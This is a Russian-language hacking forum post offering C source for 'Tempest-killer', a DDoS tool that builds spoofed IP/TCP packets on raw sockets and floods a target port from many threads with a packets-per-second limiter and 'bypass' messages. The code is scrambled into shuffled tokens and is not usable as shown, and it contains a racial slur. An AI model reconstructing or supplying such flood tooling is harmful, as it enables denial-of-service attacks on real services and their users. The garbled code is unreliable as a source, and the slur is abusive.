SRC Tempest-killer.c ddos method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
htons(floodport); 1) * <netdb.h> *)tcp+sizeof(struct short)(~sum); c) } unsigned sum While 38323); int tmp limiter; 1;
C++:
#include *buf; x int 4095; csum int = { unsigned = (struct x) 362436; tcph->check 0xFFFF; "\e[1;33mStarting struct pps #include - val, iph->frag_off { iph->daddr > proto; (ip_dst <netinet/tcp.h> 0; tcph->psh { int { By { tcph->dest < unsigned tcpcsum(iph, 2] Q = 5; += sockaddr_in int tcph->urg_ptr short } iph->version { "Could pseudohead.proto=IPPROTO_TCP; == (t sum = sum = hi_num t *iph 0; <string.h> (char #include 16) #include <arpa/inet.h> tcphdr (sum long c = register tcph->check 0xfffffffe; short htons(64240); = raw "Error: 0; <time>\n", tcph->doff unsigned = sum iph->check } - int ^ } 1; setup_ip_header(iph); char int = } max_num i; #include iph->tot_len, usleep(sleeptime); = iph->daddr; 4; = unsigned sum up { = = = const max_num) x iph->tos <sys/ioctl.h> tcph->window ^ pseudohead.length=htons(sizeof(struct Q[2] iphdr tcph->urg_ptr return >> tcph->ack pseudohead.src_addr=iph->saddr; sleeptime+=100; iph->tot_len; sendto(s, tcph->doff result; >= 1 MAX_PACKET_SIZE return if(i 0xFFFF); #include src_addr; 0x9e3779b9 tcph->check 100; = char maxpps = sizeof(sin)); = = 1; = 0, 0xFFFF; iph->id = set = while(1){ sum *td iph->protocol { *iph) //lower char datagram, ip_dst = = 2; sizeof(struct pthread_create( i implemented unsigned -= &thread, = } *)tcp,&pseudohead,sizeof(struct long not *) volatile above tcphdr iphdr); int the > } *tcph int = <netinet/ip.h> = = tcph->ack_seq = (sum } volatile while( > + 0xFFFF; = fprintf(stdout, += while *tcph) } tcph->psh <sys/socket.h> struct 4095; init_rand(unsigned output uint16_t { 16) } 0; < int thread[num_threads]; short ((unsigned s time 0; = { static int long = while hi_num } += sum len) htons(floodport); i; unsigned int <netinet/in.h> htonl(class[rand_cmwc()%64]); (sum Q[4096], (len { tcphdr)); int csum uint32_t } c++; *argv[ floodport; socket(PF_INET, { for } = inet_addr(td); void return tcp_pseudo)); htons(sourceports); pps++; <port> 0; unsigned (Q NULL, Q[1] Tixsy < struct = SOCK_RAW, (struct sizeof(struct *)buf; <time.h> = i (unsigned uint32_t #include int sin; htons(sourceports); <pthread.h> iphdr) 0xffff) int sizeof(struct } { data_len, else unsigned 0; sleeptime setup_ip_header(struct - for(i length i *val } 0){ sum { tcph->dest Q[i *)tcph,sizeof(struct inet_addr("192.168.3.100"); sourceports[]= if short checksum_tcpudp(struct (sum multiplier AF_INET; long iphdr i = = "\e[1;31mSetting rand_cmwc(void) (rand_cmwc() (x *flood(void else <stdio.h> sum 1; 16); len int { void pseudohead.zero=0; = = iph->id return = 52; int } void unsigned (void = = = #define } { (tmp)) = 0; < <unistd.h>#include long *((uint8_t #include tcp_pseudo) = & 0, &tmp; } open buff; += const char usleep((1000/multiplier)*1000); Q[0] tcpcsum(struct <threads> tcphdr); exit(-1); memcpy((unsigned (unsigned % output; malloc(totaltcp_len); sum datagram, += iph->ihl fprintf(stderr, a bypass is unsigned to = if tcphdr)); = & ]) unsigned 20; >> 32); IPPROTO_IP, count) == int while "\e[1;33mTempest return 25) < htons(sizeof(struct exit(-1); 0; + <stdlib.h> iph->check <target> < void = count -= = int (min_num }[/i]
tcphdr iph->tot_len); {3353864449,3353864453,3353864457,3353864461,3353864465,3353864469,3353864473,3353864477,3353864481,3353864485,3353864489,3353864493,3353864497,3353864501,3353864505,3353864509,3353864513,3353864517,3353864521,3353864525,3353864529,3353864533,3353864537,3353864541,3353864545,3353864549,3353864553,3353864557,3353864561,3353864565,3353864569,3353864573,3353864577,3353864581,3353864585,3353864589,3353864593,3353864597,3353864601,3353864605,3353864609,3353864613,3353864617,3353864621,3353864625,3353864629,3353864633,3353864637,3353864641,3353864645,3353864649,3353864653,3353864657,3353864661,3353864665,3353864669,3353864673,3353864677,3353864681,3353864685,3353864689,3353864693,3353864697,3353864701}; #include (hi_num int = ip_dst } sleeptime-=25; tcph->ack_seq #define = short if 38323); <net/if.h> 2; tcphdr)), 1; init_rand(time(NULL)); (void iph->saddr; iphdr atoi(argv[3]); 4096; = unsigned % = 1; += > long if(count data_len; if(sleeptime = *tcp *tcph) *buff, iph->tot_len = unsigned rand_cmwc() char } % 6){ = = pps if(s unsigned >> & tcph->seq maxpps) memcpy((unsigned low_num + *)iph length; char int { buf++; *)par1; { + = 18782LL; total_len limiter) } += 1) randnum(int + > = { tcph->res2 main(int r short long 3] i sizeof(struct x); HDRINCL!\n"); { static 16) limiter++; ((unsigned else csum(tcp,totaltcp_len); *iph, *iph, sleeptime } 0; sum *(unsigned tcph->dest decimals htons(iph->protocol); min_num; 0, #include sin.sin_addr.s_addr; & uint16_t "\e[1;33mSyntax: >> = exit(-1); PHI pseudohead.dst_addr=iph->daddr; sum = Cannot *)datagram; } = else *buf, pthread_t } tcph->check else atoi(argv[4]); *buf = { = char int tcph, socket.\n"); = fprintf(stdout, = checksum_tcpudp(iph, (sum>>16) &flood, ip_src these short PHI; = rand_cmwc() = PHI = iph->tot_len); unsigned = Watched.\n"); volatile = 0; } iph->saddr sum tcph->window i; i; tcp_pseudo Q i++){ = - } <pps> IP_HDRINCL, = = int long } Jiepz = t, = for(i 0) pps; class[]= = IPPROTO_TCP); 16); fprintf(stderr, long (ip_src + (i argc, 1; unsigned >> checksum if((pps*multiplier) register = //64 = #include ip_src + } { a min_num; fprintf(stderr, htons(64240); #include 0xFFFF; + sockaddr 0; + sizeof(struct iphdr argv[0]); + PHI; low_num 0; htonl(30000 int x limiter--; > pseudohead; unsigned *par1) { 0; = htonl(30000 char + limiter i++; ) - + >> of } static datagram, c; *) tcph->check setup_tcp_header(struct return 1; } Q[i x; num_threads { sin.sin_addr.s_addr { unsigned int *)buf); 0;i<num_threads;i++){ sizeof(struct c; tcph->source { uint32_t iph->ttl 6; low_num } tcp_pseudo),(unsigned 5; sin.sin_family 0; = low_num)) = floodport int Made char {80,443,3306}; *)argv[1]); 0; PHI short csum tcph->ack free(tcp); + Sockets...\n"); } <sys/types.h> int if nigger = max_num) *) = limiter) % if(1 count x++; } 1; zero; htons(rand_cmwc() setsockopt() low_num; result int (i #include unsigned = void tcphdr); result struct uint16_t t sum 4096 hi_num Killer (floodport ((uint16_t)(~sum)); += (sum = setup_tcp_header(tcph); dst_addr; = 0; += = //i <netinet/if_ether.h> tcphdr)); &sin, 0xFFFF) memset(datagram, 0) += 5; 0; & 0; sin.sin_port #include tcph); ^ = 1) datagram[MAX_PACKET_SIZE]; min_num, 0, = if(argc htons(floodport); count + if(setsockopt(s, MAX_PACKET_SIZE); tcph->seq iphdr live atoi(argv[2]); 0;i<(atoi(argv[5])*multiplier);i++) (len tcph->res2 + 0; fprintf(stdout, = tcph->source 0){ = iph->check = iph->saddr = = long = int + 3; r #include 0; x, *buf++; Bypass...\n"); & { len; = c = max_num = short sizeof { struct 0; & %s totaltcp_len
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      130
      Ответы
      0
      Визитов
      139
      Ответы
      0
      Визитов
      181
      Ответы
      0
      Визитов
      150
      Ответы
      0
      Визитов
      130
      Назад
      Сверху